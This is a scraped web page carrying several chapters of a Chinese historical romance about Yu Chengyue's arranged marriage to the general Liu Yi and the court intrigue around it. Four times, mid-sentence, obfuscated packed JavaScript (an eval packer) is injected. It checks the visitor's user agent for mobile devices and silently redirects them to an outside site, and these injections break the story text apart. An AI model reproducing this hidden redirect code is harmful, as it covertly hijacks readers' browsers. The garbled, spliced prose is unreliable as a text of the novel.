“是看了几次家中的乐舞,便略略记在了心中。”这支白纻舞,其实是她专门请家中的乐伎传授的,但看褚夫人脸色不佳,乘月并不敢说出实情。 褚夫人柳眉微皱,“乐舞之事,娼优之所为也,你身为公卿之女,怎么能着意于此?” 乘月尚且年轻,忍不住反驳道,“母亲,左思的女儿“从容好赵舞,延袖象飞翮”,她们也是出身世家啊!为什么她们就可以舞蹈呢?” 褚夫人却冷冷一笑,“左思!一个靠着胞妹而入京,连祖上都说不清的寒门,能算什么世家公卿?” 承月不敢再违逆褚夫人,她低下头,纤细的脖颈仿佛承载不了少女近于忧伤的惆怅。 褚夫人倒有些不忍心了,自己因为夫妻关系不和,常常独自居住在别业。女儿在虞府孤独地成长,除了诗书乐舞,她还能用什么打发时光呢? 想到此处,褚夫人的脸色渐渐和婉,她拉起乘月的手,“我知你素喜歌舞,家中有乐伎可供观赏,但切莫再于人前起舞了。” 自此后,除了阿梅,虞府中再也没有人看见过乘月习舞。 为什么要舞?这个问题,是母亲从来没有问过的。 但乘月的心中早有答案。 她抬起头,碧蓝的天空辽阔无际,云朵自在舒卷,一行白鹭从天边掠过。这,大概就是庄子所说的,逍遥游吧! 可世间之事,纠结缠绕,纷繁复杂,如何能得到逍遥呢? 距离乌衣巷不远处是昭明公主府。这位昭明公主是当今天子和虞皇后所生,也皇室有名的美人。乘月常常被皇后姑姑召进宫中,和公主一起长大,情同姐妹。 公主府落成之日,京都的公卿纷纷前来庆贺,一时间玉撵纵横、金鞭络绎,好一幅繁华景象! 那些相熟的世家女们在公主府的花园内三五成群,或投壶射覆,或赏花品茶,甚是风雅。 可一旦虞乘月走进她们,原本热烈的氛围瞬间冷却下来——自那日张侍中到虞府寻仇之后,流言随风播撒,不过数日功夫,人人都知道了虞家即将与草莽出身的刘毅结亲的消息。 “不可能吧!世代公卿,怎么会和那样的草莽......” “这还有假?是我的父亲亲耳所闻。”张家的女公子斩钉截铁。 这位张氏女郎名唤金鸾,因为姑姑张贵嫔和家族的关系,对虞皇后和她身后的虞家最为敌视;而乘月与刘毅结亲之事,也是由她在女郎们中间散播开来的。 “如果是这样,那真是可怜乘月了。”有些和乘月交好的女郎惋惜道。 “有什么可怜的!他们虞家金玉其外,就该和那些草莽为伍!特别是那个虞乘月,之前还和郗公子眉来眼去,肯定是郗家看不上她,转头就找了刘毅,真是水性杨花,人尽可夫!”张氏金鸾恶毒地咒骂。 虞乘月猛地转身,双目似火,“你说什么!” 声音清亮有力,把那些温文尔雅的世家女们吓了一跳。 出发前,褚夫人再三叮嘱,“你此次前往公主府,无论遇到什么,都要保持仪态,不可失了风范。” 可见,历经岁月的褚夫人,是预料到这次在公主府会发生什么的。但乘月根本不想惯着这个搬弄是非的人。 那位张家的女郎,被乘月的气势吓得往后退了一步,“好,好一个虞家,竟然教出了你这种毫无世家风骨的人!” 虞乘月脸色平静,“子曰,君子恶称人之恶者。你在人后恶言诋毁,应该是小人行径了吧!做出这等有违圣人训的低劣行为,才是失了世家风骨!你们张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285899|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,真是堕落了,竟然会养出你这样品行恶劣的女郎!” 用不可置疑的圣人言语,直接否定了张氏女的人品,简直是将张氏的门风钉在了耻辱柱! “你!”那张金鸾气得发抖,可她确实是背后蛐蛐了乘月,还被当事人抓包了,她无法辩解,只能狠狠威胁道,“我告诉你,我的父亲马上就要品评人物了!你们虞家当心!” “没想到,连君子都培养不出来的张家,还有资格品评人物!?” “算了算了,咱们走吧!”有人见火势越烧越烈,拉住了张氏女郎。 “你没看见她刚刚的样子,可见平日里的娴雅都是装出来的,难怪会与那镇守丹徒的莽夫结亲。” “你们在说什么,这样热闹?”一阵香氛萦绕,环佩叮咚,昭阳公主在众人的簇拥下款款而至。 “公主。”众人赶忙噤声行礼,一场纷争瞬间消弭于无形。 “张女郎似乎跟乘月在争执什么?” 张金鸾涨红了脸,又不敢说出方才二人争执的具体内容,她知道以公主和乘月的交情,自己讨不到什么好,只能嗫嚅道,“没,没什么,开些玩笑。” “既是这样,乘月跟我来吧。” 无人之处,昭明公主拉住乘月的手,“是不是她们说了什么风凉话?” 谣言她也有所耳闻,故而招待完那些庆贺的命妇,便匆匆来寻乘月。 “是有些人出言不逊。”乘月不屑道。 “看样子,她们没讨到什么便宜嘛!”昭明公主知道乘月的性子,小时候两人吵架,这丫头从来都不会给自己这个公主面子。 “哼!我还是留了情面的!不然,那个张金銮得哭死。” “就知道她会说三道四!他们张家人一心往上爬,巴不得虞家倒霉!”身为皇后的女儿,昭明公主对张氏一族也没什么好印象。 “好了,不提他们了。”公主想到了另一件事,笑道,“你快去西苑,方才郗锦安私下跟我说,他在那儿等你呢!” 公主府的西苑,潺潺流水,芳树鸟啼,别有一番殊趣。一位青年公子从回廊的另一边走来,他身着青色织锦圆领,年纪不过弱冠,长身玉立,面容俊秀,正是郗家大公子郗锦安。 郗锦安快步行至乘月的身边,急切地问道,“乘月,那些传言可是真的?” 他今日乍听虞家的传闻,简直不敢相信!自己与乘月自幼相识,以诗文唱和,称得上是心意相通了;再加上乘月肌肤胜雪,容色绝艳,身姿窈窕,性情柔顺,实在是世间难得的尤物,每每想起便情丝摇漾...... 这段时日,自己已经在酝酿着如何向美人表明心意,谁知道竟然半路杀出一个刘毅来! 实在可恨! “确有此事。”乘月垂眸。京都之中跟自己相关的传言,那必定是与刘毅结亲之事了。 “伯父怎能如此草率!”郗锦安已顾不得男女之防,上前一步握住乘月的手腕,“乘月,我即刻请父亲上门提亲!” 5. 家伎 公主府内,昭明公主也不去招待客人,也不去参加年轻人们投壶射覆的游戏,只拉着乘月,好奇心爆棚。 “他把玉佩给了你?还专门联了诗?”恨不得把二人的事扒个干干净净。 “流水映空栈,芳树挽落花。写得真好,有情人不得不分别的惆怅啊。” “还想去你家提亲?啧啧,没想到啊,我们的郗大公子这么深情!” 公主的语气和表情夸张,衬得一旁的虞乘月越发安静了,她好像失去了和张金鸾对峙时的勇气。 “这些,都是徒劳......” 家族的名誉被张金鸾泼污水时,她当然要据理力争。但,无论她在外多么的义正言辞,在最好的朋友面前,褪去了虚张声势的武装,她不得不承认,这桩婚事,不算多么荣耀的事情。 “乘月,不必过于忧虑,这位建军将军非池中之物。虽说武夫行事粗蛮,不如郗公子俊秀温柔,但你看当年的桓温,大晋的江山稳固全仰仗于他,那位嫁给他的南康公主,有几个人敢看轻了她?这位建军将军,必定是大晋的另一个桓温呢!” “刘毅如何能与桓温相提并论?” “嗯。”昭明公主也觉得自己说的有点虚,“那,大不了以后,你私下跟郗锦安来往嘛。” 乘月瞪大了眼睛! “嘿嘿,这有什么嘛!礼教岂为我辈设?”公主把阮籍的话搬了出来证明此建议的合理性,“那个郗锦安,你喜欢的话,回京城的时候再找他嘛!” 皇室的公主们有封号和属地,根本不需要依附于男子和家族,只要抛弃道德的束缚,真的可以过得自由自在!可是世间其他的女子,却不得不困在深宅大院里,她们步步都行不得错啊! 回家的路也不太顺畅,牛车要经过的一条巷子里,有户宅邸的门口围满了人,把路都堵住了。 宅院的大门半开,两个年轻的女郎被灰衣家仆推搡着赶了出来。 这两位女郎身姿消瘦,泪水涟涟。家仆们毫不怜惜,大声驱逐。 紫色衫裙的女郎死死抓住家仆的衣角,苦苦哀求,“主君不会抛弃我的!他最喜爱我的!求求你们,跟主君说,他会来救我的,求求你们!求求你们了!” 她的泪水不断滚落,声音凄惨至极。 家仆见围观的人越来越多,懒得再纠缠,一脚将这女郎踹开。大门轰的一声关上了。 女郎惨叫一声,从白玉台阶上滚了下来。她的紫色衫裙之下,血水不断涌出...... “天呐,她还怀着孩子!”有人发出尖叫。 “既然有孕,为何还要赶她走?是不是做了什么天理不容的事?” “没有!我们没有!我们出身低贱,主君怕我们玷污了血统,怎么会允许孩子生下来?我的妹妹吃了很多草药,还是没有流掉孩子。主母骂我们狐媚下贱,杖责我们,要我们一日之内离开京都,否则,”青衣女掩面哭泣起来,“否则就将我们乱棍打死!” 虞乘月记起小时候看的稗官野史里,有这样一段情节:阮咸与姑姑的婢女有情,姑姑带着婢女离开,阮咸不顾有孝在身,将那位婢女带回,并坦荡地承认这位婢女怀上了自己的骨血,绝不能让她流落在外。 那时的乘月感动于这个故事的深情。可是,现实中这样的女子,她的故事,为什么会是这样?? “求求你们,救救我妹妹!”青衣女一个个叩头。 人们纷纷避开,谁也不愿意得罪贵族。 一个流民四起,匪盗横生的时代,年轻的女郎,无依无傍,离开了京都,她们怎么活...... “真是可怜啊......” 紫衣女轻轻咳嗽了两声,而这气若游丝的咳嗽也几乎耗尽了她所有的气力。一滴泪水从她美丽而苍白的面容滑落,也狠狠揪住了乘月的心。 一个没落的时代,什么都可能发生。 可她们,又何罪之有呢? 京都的建康宫内,柳浪莺啼,百花竞放,好一派融融风光。 天子却无心观赏,屡屡拒绝了虞皇后赏花的邀约。 他近来爱上了饮酒,总是倚靠在清凉殿的玉塌上,享受着张贵嫔纤纤玉手呈递的佳酿。 朝中皇叔司马逊把持着政权,迟迟不肯放权,自己只能一点点和他周旋;而北方,有鲜卑建立的魏国,剽悍勇猛,对长江以南的领土虎视眈眈;那些镇守在各地的军阀,也不是泛泛之辈,他不得不从寒士中挑选有能力的年轻才俊与他们抗衡;而后宫,也不是风平浪静的地方,各个家族都把自己的女儿送到这里,让这些女郎在后宫中厮杀...... 天子几乎每晚都会做噩梦,梦到自己被乱军追赶。 “陛下莫怕,妾身会挡在陛下面前的,妾身会永远陪着陛下。”张贵嫔依偎在天子身边,柔柔地抚摸着天子剧烈颤动的胸口。 而皇后则会劝道,“陛下是天下人的仰仗,还需打起精神,妥当应对朝中之事啊!” 只有张贵嫔柔软的身体和如兰的香气,才可以让自己在被噩梦所惊时,放肆地哭泣。 不过,他确实应该做点什么了。 他想到了在汉末兴起,又因为战乱中断了百年的士族人物品评。如果将各个家族的等级重新划分,把那些依附于自己的家族的品级,排得更高;而有异心的,借此打压。这不是一个很好的,让各个家族不得不臣服于自己的机会吗? 这件事,他交给了依靠自己才能在朝堂上立足的张贵嫔的哥哥张侍中。 但消息散播出去后,褚、虞、王、谢等家族的人不断求见。见面后的内容,无外乎是不信任张侍中的才干和人品,不相信他能够公正品评,也质疑重新评定士族等级的必要性。 “哥哥是受陛下所托,兢兢业业,他们又来进言,岂不是质疑陛下的安排?”张贵嫔薄怒道,似乎是在替天子委屈。 从亲政以来,他的任何决定,似乎都阻力重重,要么是被琅琊王驳回,要么是这些公卿消极对待,根本无法在各地施行...... 天子的头更痛了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285900|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “兄长,你可该好好管一管阿恒了,刚刚弱冠的少年郎,怎么好去伎坊那种地方!”褚夫人回到娘家,第一件事就是去找自己的兄长——褚家的家主,当朝的御史中丞褚武江。 这位御史中丞是连丞相都敢弹劾的人,时人谈论起来,都觉得他有汉代桥玄的风范,因而被人称为小桥玄。 而褚夫人所说的阿恒,是褚武江的幼子褚恒,不久前正是这位褚恒小公子带着虞云华去的伎坊,也因此引发了后来的许多纷争。 小桥玄原本还悠闲地品茗,一听到妹妹的这番控诉,不由得双目瞪圆,原本就略显拙重的相貌,因为这腾腾的怒气而越发严肃起来。 他狠狠拍了拍身侧的案几,愤愤道,“阿恒这个竖子!你放心,我必定狠狠责罚他!” 这番作态,连他身边陪侍的夫人顾氏都吓了一跳。 但褚夫人却不是那么容易被糊弄的,“兄长,你每次都这么说!可是,哪次真的狠狠教训过阿恒?到如今还是纨绔模样!” “玉仪,你也知道,阿恒是我老来得子,如果真的责罚得太过,不光是我,你嫂嫂也会心疼的不得了啊。” “哼!都说你是小桥玄,我看是盛名之下,其实难副!” 那桥玄,出了名的刚正不阿,为了惩治绑架人质的罪犯,连亲生儿子都可以舍弃;而兄长,除了性格急躁这点相似外,跟那桥玄简直天差地别! “玉仪,你已经不是无知少女,说话前可得思量思量!”在一个重视品评人物的时代,一些对自己声誉有损的言论,褚武江是绝对不能容忍的,即使那人是自己的胞妹。 褚夫人见兄长真的动了怒,只能将问责之意和不满之心生生按下,她还有一件更重要的事情。 “是玉仪失言,还请兄长不要责怪。” “你啊!”褚武江摇了摇头,“也就是妹婿性情好,才把你惯得越发骄纵了。” 提起妹婿,褚武江似乎想起了什么,“妹婿如今任尚书右仆射一职已经多年,德行和才干有目共睹,朝野内外颇有声望,打算什么时候动一动啊?” 关于虞仆射,褚玉仪却不愿意多说,“兄长可知,你口中那位颇有声望的尚书右仆射,已经将你的外甥女许配给了镇守丹徒的刘毅!” “这......”褚武江稍有迟疑,“为兄也是听到了一点风声。” 褚夫人冷哼道,“一点风声?这件事,想必已在建康城内传得沸沸扬扬,早就是众人的笑柄了!何止是一点风声!” 褚武江见妹妹眼眶已开始泛红,眉目间含着悲戚之色,便知她是伤心至极了,只能柔声安慰道,“玉仪,事已至此,你也不要多心,为乘月筹备嫁妆才是正事。” “多心?兄长觉得我是多心?大晋建国以来,有几个有名望的家族,会将女儿嫁给那等粗俗低贱之人?” “这件事情,妹婿已经决定了,你还能怎么办?” 褚夫人等的就是这句话,她立刻接道,“自然还有一个办法,还请兄长帮一帮妹妹。” 6. 皇后 褚夫人离开时,深深看了一眼褚府的门楣。曾经的她以为,这个在幼年给予了自己无限宠爱的地方,会是自己一生的依靠;而现在,她终于明白了一个道理。 无论是丈夫也好,还是兄长也罢,男子是无法接受女人真正的面貌的。当你纯洁无辜地,像一只温顺的狸猫一样依偎在他们的身边,他们会很乐意把你当作一个赏玩的美丽的宠物,给你关爱和庇护;但是,一旦涉及到利益要求,他们就会立刻变脸,诧异和斥责你竟敢有诉求! 褚夫人这次回到褚府,是想和哥哥商量,让他的长子褚阳宇到虞家来提亲,以破解她的女儿乘月当下的困局。 褚阳宇这孩子是褚夫人看着长大的。他自幼时起,就是一个心性纯良之人,对弟弟妹妹多有照拂;后来去书院读书,学问和骑射也都是同辈中的佼佼者。即使是面对那些身份地位远不如自己的人,他也完全没有其他世家子弟的嚣张和浮浪,在京都的世家子弟中,称得上的儒雅君子。 这样一个品行端方的君子,在弱冠之年被天子召入宫中,成了天子的近侍——虎贲中郎将。成为虎贲中郎将,是任何一个世家子弟都觉得荣耀的事情。虎贲中郎将的选拔不仅看出身,还有仪表和实际的才干;而且,虎贲中郎将作为护卫天子安全的近臣,也会更容易获得天子的赏识,这也意味着,他未来的仕途会无比光明。 如果说,郗锦安八品秘书丞的文官职位,虞仆射根本看不上眼。那么,年纪轻轻就已是虎贲中郎将的褚阳宇,会是虞仆射无法拒绝的佳婿。 但褚武江却遗憾地告诉妹妹,阳宇已经与别家的女儿在议亲了。 褚夫人听出了兄长的敷衍和搪塞,如果在以往,她一定会高傲地扭头走人!可现在,褚夫人实在想不出还有什么办法了——她去过皇宫,想请虞皇后出面撤回这桩荒唐的婚事,可一向疼爱乘月的虞皇后却拿出了那套褚夫人听厌了的冠冕堂皇的说法。 说到底,所有人都要乘月为了家族去牺牲;可是自己作为母亲,无论如何,都不可能眼睁睁地看着自己冰雪可爱的女儿去丹徒那个荒凉的地方,成为一个寒门武将的妻子,从此远离京都的繁华和风雅。 她只能越发恳切地哀求兄长,那泫然欲泣的模样,世间的任何人看到都会感到怜惜;可褚武江在某些方面确实和桥玄的铁面无私一模一样,他依然狠心地拒绝了同胞妹妹。 褚夫人离开时是萧瑟而孤独的,连嫂嫂顾氏夫人都有些不忍心了,她出言相劝,却被褚武江呵斥为妇人之仁。 褚武江的长子阳宇当然还未婚配。只是,那虞家早就金玉其外了:整个虞家,在朝堂上,也就一个虞仆射有些分量;虞家虽然出了一位皇后,可近来张贵嫔尊崇日隆,张家在朝堂上势头正盛,鹿死谁手尚未有定论...... 八王之乱以后,褚家随元帝南渡,元气大伤。南方士族有吴郡四姓,北方士族侨寄州郡,琅邪王氏、陈郡谢氏、颍川虞氏、谯国桓氏,逐渐崛起,而褚家则沦落到了二等世家之列。妹妹嫁与虞仆射以后,本想着借虞家的实力让褚家再次回归荣耀,可谁知那曾经能与王导抗衡、甚至左右皇室的虞家却后继无人! 现在,陛下宠幸贵嫔的哥哥张侍中,将士族人物品评的重任交给他;而张家不久前和虞家闹出过纷争,以张侍中狭隘的心胸,肯定会想尽办法趁着这个机会打压,虞家危矣。 褚武江这些年营造直言进谏和刚正不阿的形象,好不容易在士族中赢得了小桥玄的风评,长子也成为端方君子,是整个褚家未来的希望,怎么能求取注定日薄西山的虞家之女? 更何况,还要冒着与建军将军刘毅为敌的风险!虽说刘毅这个人,根基单薄,但他毕竟是北府军的首领,一切不利于褚家的事,他褚武江都绝对不会做! 天子靠在清凉殿的竹椅之上,衣襟微开,一头青丝也随意垂散。他向来重视仪表,很少有这样放松的时刻。 清凉殿的微风拂来,他感觉到了能够掌控未来的希望。 天子微微仰起头,眼睛微闭,似乎是在稍作休息,可手中却始终拿着张侍中呈递上来的奏疏。 疏奏上的字密密麻麻,全是张侍中和他的僚属们列出来的各个家族的等级和相应的人物品行分析。 当然,虞家小公子伎坊伤人一事也被记录在册,并成为虞家降等的理由之一。除此之外,谢、王、褚、郗……各大家族,都有被降等的可能。 这是一份足以拿捏世家,改变格局的奏章。 “陛下!陛下!”是虞皇后的声音。 天子睁开眼睛,虞皇后已经来到跟前,她的身后跟着一群人,诚惶诚恐的模样,都是清凉殿内想要阻拦皇后却不成的宫人。 天子看向张贵嫔,他明明交代过,不能让皇后进来。 张贵嫔委屈极了,“是皇后娘娘硬要闯进来,臣妾怎么劝都没用!” “陛下。”虞皇后的声音有些疲惫。 平日里,虞皇后是最在意服饰礼仪的;而现在,她依旧穿着皇后的常服,挽起的发髻上却只有一根毫不起眼的凤钗,清雅的脸庞未施粉黛,和一旁娇艳欲滴的张贵嫔比起来,就显得过于朴素和憔悴了。 “臣妾执意前来,请陛下恕罪。”虞皇后将凤钗从发髻抽出,伏跪于地,乌黑的长发散落下来,覆盖了她白皙而憔悴的脸庞。 这是从及笄之年就嫁给了自己,陪伴了自己二十多年的女人啊!虽然最初自己想求娶的人并不是她,可这二十年来,她替自己生儿育女,替自己打理后宫,兢兢业业,从不曾闹出苛待后妃的丑闻;更重要的是,他知道,无论发生了什么,这个女人都坚定地站在自己的身后。虽然虞皇后不如张贵嫔那样娇媚可心,但是,皇后是永远不会背叛自己的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285901|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,这样一个最是端庄的女人,如今却不得不以这样狼狈的姿态出现在清凉殿内的众人眼前…… 天子的心中升起一股怜悯的感觉,示意张贵嫔退下。 “起来吧,你我夫妻,何至于此?”天子半蹲着伸出手。 虞皇后顺着天子的意思,将双手递给她的夫君,缓缓站起。 天子将皇后牵引到榻上,两人并排而坐,既没有外人的打扰,也没有君臣之分,这是夫妻二人很久都没有的温馨。 虞皇后眼中含着的泪水终于落下,“陛下,您瘦了。” 天子浅浅一笑,笑容有些苦涩,“现在的局势你也是知道的,朕怎么可能心宽体胖呢?” “陛下,这些年过来,您真是太苦了。”皇后靠在天子的身边,“每次看到您的眉头紧皱,臣妾的心中就万分痛苦。臣妾日日都在佛龛前祷告,臣妾只有一个愿望,那就是盼望有一天,天下大同,您也可以松一口气。” 天子将虞皇后揽入怀中,“你一直都是最好的皇后。” 虞皇后依偎在夫君的怀中,声音婉转而悠长,“您说,当初,元皇帝刚刚渡江时,是不是也是这么的艰难?” “元帝陛下有王导丞相的帮助,比起现在的我处处掣肘,应该要好些吧!”天子感叹道。 “陛下觉得元皇帝有王导的帮助,陛下难道就没有什么助力吗?” 天子思考了片刻,“也许,那些被我提拔起来的寒士军阀是我的助力,可以帮我牵制住朝中的各个家族以及,琅琊王吧!” “琅玡王与王氏一族的王昌隆狼狈为奸,确实危害朝纲!但是琅玡王年事已高,而王昌隆靠着岳父琅琊王才能身居左仆射的高位,其人贪鄙无能,二者都不足为惧。至于各个家族……自从元帝朝的王敦之后,作乱的反而是镇守在各地的将领啊!一想到几十年前的苏峻叛乱,臣妾都恐惧不已!” 天子有些不知该如何回应,认真一想,好像确实如皇后所言。那些世家应该是不希望天下大乱的,毕竟一旦发生战争,各个家族的利益都会受损,反倒是各地的军阀在蠢蠢欲动。 虞皇后见天子不语,语气更加柔和了,“陛下,那些世家大族盘踞在京城,反而更容易被陛下掌握他们的动态;而且他们没有什么军事力量,身家性命也都在您的控制中,更要倚靠陛下您了啊!依臣妾看来,最可怕的应该是那些手握重兵,镇守在外的将领啊!” “那么,你觉得,朕该怎么做呢?” “陛下,无论是武帝还是元帝,在政权建立之初,暗流涌动的时候,都是借助各大家族的力量稳住了朝局。如果一下子将这些有功的家族打压下去,臣妾害怕会寒了天下人的心啊!现在,最好的办法就是让世家、各地的将领和琅琊王互相牵制,保持平衡。一旦平衡被打破,其他两方做大,局势就不好控制了啊!” 7. 怜悯之心 虞乘月一向认为自己是个很乐观的人,即使因为与寒士联姻之事被群嘲,她也能从短暂的阴霾中恢复过来。 可现在,她发现自己所谓的乐观,只是因为还没有见识过世间真正的悲伤。 那天,她将在路上遇到的家伎带回了虞府,可她却没有办法挽救一个年轻的生命。 那位青衣家伎抓住乘月的手,恳求乘月救一救她的妹妹。 虞乘月找来了虞府最好的大夫,可是,大夫只看了一眼便摇了摇头。 这位怀有身孕的年轻女郎,经历了多次殴打和情绪的巨大波动,血流不止。 大盆大盆的血水血块被端了出来,雪白的被褥和床榻全都被鲜血染红…… 人的身体,怎么能承受这样的痛苦? 虞乘月第一次目睹了生命是怎样流逝,也终于知道了什么是死生无常。 她看着一双枯瘦的手放在微微隆起的腹部,即使到了生命的最后一刻也不肯垂下——那是一个母亲是对自己未出世的孩子的无限眷念。 “节哀。”大夫的声音遗憾又悲悯。 不知什么时候,乘月已经泪流满面。 为什么?为什么会这样? 一个母亲,为什么连活下去的机会都没有?! “只是一个唱歌跳舞的家伎,哪里值得你这样?”昭阳公主不解。 “难道,唱歌跳舞的人,就没有活下去的权利了吗?” 公主沉默片刻,回道,“家伎的命运就是由主家决定的,这也是没办法的事情。希望下辈子,她能托生到好人家吧。” “下辈子,那是多么虚无的东西。我想让她们这一辈子,就可以好好地活下去!”乘月的声音有些哽咽,也有些激动。 “可是,你能做什么呢?”公主温柔地问。 丹徒原本指的是那些身穿赭衣的囚徒。始皇帝东巡时,派了三千名囚徒在金陵附近凿山修道,因此将此地之名也改为了丹徒。 丹徒东侧的北固山毗邻长江,又与金山、焦山形成犄角之势,常有人在此山筑亭,以欣赏三山的石壁峨峨和长江的奔流不息。我们的建军将军刘毅就是其一。 北固山上的凉亭之内,刘毅赤足斜卧于石椅之上,他褶衣半解,坦露的胸腹如石块般硬朗分明,肌肉坚韧似矫捷的雄豹,这种粗犷之态,不免与当下男子白瘦文雅的审美相悖。 凉亭的另一侧,是一位身着彤色衫裙的女子,美目盈盈似水,与刘毅的目光相接的刹那,她笑着低下了头。她的纤纤素手,拨动着石桌上的琴弦,清泠之声从指尖倾泻而出,与江流湍急拍打两岸石壁的声音相辉映,竟似天籁。 “阿嚏!”一片惬意的初夏之境,刘毅却突然打了一个喷嚏,颇有些滑稽。 “哟!君侯这是在哪里欠下的情债,被女郎埋怨呢!”彤衣女子双手平拂于弦上,乐声戛然而止。 “又在胡说。”刘毅笑道。 “我可没胡说!君侯之前为了躲避爱慕您的女郎,来丹徒伎坊找到了我,以至于外面都传言,红叶是君侯的人,让红叶平白少了好多恩客;如今君侯却要另娶佳人!哎,可怜我的一片芳心,竟这样被君侯抛弃!” 这位叫红叶的彤衣女子是丹徒伎坊的行首,常常应召陪侍在刘毅身边。方才的一番话下来,好像自己真的成了被刘毅辜负的痴情女子;她索性以袖掩面,旁移腰肢,微微颔首,做出泫然欲泣的姿态,但悲伤却不达她的眼底,反倒是有点嘲弄的意味。 “哦?我要娶亲的事,连你也知道了?” “虞氏有好女,谁知不知?谁人不晓?没想到这朵娇花竟落在了君侯手中!” “能有多好?要我看,说不定是貌如无盐,怕嫁不出去才这样宣扬自己。”刘毅挑了挑眉。 红叶噗嗤一声笑了出来,“君侯怎么能这样妄议佳人?依我看,那位虞氏女郎真是个妙人!君侯可别唐突了她!” “此话怎么讲?”刘毅忽然来了兴趣。 红叶端正了脸色,“我有两位朋友,原本是京都贵人家的家伎,前段时间被主家驱逐了。” “犯了什么事?” “一位姐妹怀上了主君的孩子。” 刘毅沉默了,他混迹于官场,也多少听过一些风流八卦,知晓那些公卿有多么看重血统,这个女子的下场是可以预知的悲惨。 红叶继续说道,“她们走投无路的时候,是虞氏女郎收留了她们。” “什么?”刘毅非常诧异,在他的固有印象里,京都的高门贵女们一个个自矜身份、骄傲无比,怎么会去帮助这些如尘埃一样的女郎? “我想,这位虞氏女郎,是有一颗怜悯之心吧。”红叶轻轻说道。 而在这个乱世,有多少人还保留着一颗怜悯的心呢? 虽然虞家已经同意了联姻,可在刘毅的心中,未婚妻虞氏女郎只是一个模糊的身影,说不上喜欢,连讨厌的感觉都没有。而现在,对这个模糊的身影,他好像生出了一些期待。 “成亲以后,即使这位虞氏女是一个貌如无盐的人,我也会好好对待她。”刘毅暗想。 郗家那位风神俊雅的大公子近日有些恹恹的。散值以后便待在家中,诗会酒宴一律谢绝;受宠的美婢想要靠近她,也被他一把推开。 “我们郗氏是颛顼的后裔,本朝以来名人辈出。可是为父无能,和刘毅争夺北府兵权失败,以至于家族衰落,你也受到牵连,只能做个小小的秘书丞。现在,陛下偏信张家,又搞出个什么士族品评!哎!真是世道混乱啊!” 郗锦安的耳边,父亲愤恨的话语萦绕不散。 “父亲,我听说,王谢等家族的人已经进宫面圣了,士族品评,很难办成。”郗锦安劝解道。 “不管成与不成,也跟咱们郗氏没关系了,事实上,我们家已经滑到了第二等的士族了。” “父亲何不向虞家提亲?两家联手,我们家也许会有转机。”郗锦安向父亲建议。 “提亲?你觉得,凭着你现在的秘书丞的职位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285902|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虞家那个老狐狸能同意?听说虞家已经答应了刘毅的求亲,丹徒那边就要来送纳采之礼了。” …… 郗锦安沉默着将琉璃杯中的浊酒一饮而尽。郗家在北府军中的势力,已经被刘毅取代,现在,连他心心念念的美人,京都最艳丽的牡丹,都要被刘毅夺去了。 不甘啊,不甘! 郗锦安双手越握越紧,酒杯砰然裂开,一地的琉璃碎片,沾着丝丝血迹。 那位被推开的美婢尖叫一声,赶紧过来查看伤势。 郗锦安双目泛红,一把撕开美婢的衣襟,露出满眼的柔软丰润。 美婢顺势倒在郗锦安的怀中,双手攀上他的后颈,满面潮红。 锦纱帐落,香汗点点…… 一声闷吼之后,郗锦安闭上了眼睛。 “如果虞家和刘毅结亲,一个是百年世家,曾经的清贵之首;一个平定过孙恩之乱,又都督三州军事,手握北府兵权。他们联合必将如虎添翼!我们郗家,只怕在军中更是举步维艰了。” 郗锦安猛地睁开眼睛,赤足下榻,铺开了信笺。 对于虞府和虞仆射来说,最近可谓是双喜临门。 一喜,是士族品评一事终于有了结果,陛下竟然下令取消了此次的品评!张侍中的计划落空,虞家也不至于会因为品级降低而颜面扫地了。 二喜,是丹徒的建军将军刘毅送来了纳采的礼物,一行行车队从桃叶渡口而来,绵延数里,浩浩荡荡,连看惯了繁华的京都人士都忍不住啧啧称奇,这给虞府挣足了面子。 只是在纳采这种重要的时刻,褚夫人依然避居在了博望苑,可见她对这桩婚事的抗拒。虞仆射无可奈何地摇摇头,从书架中抽出一叠泛黄的纸张交给他唯一的女儿。 “这是?桃花叠浪的地契?”乘月问。 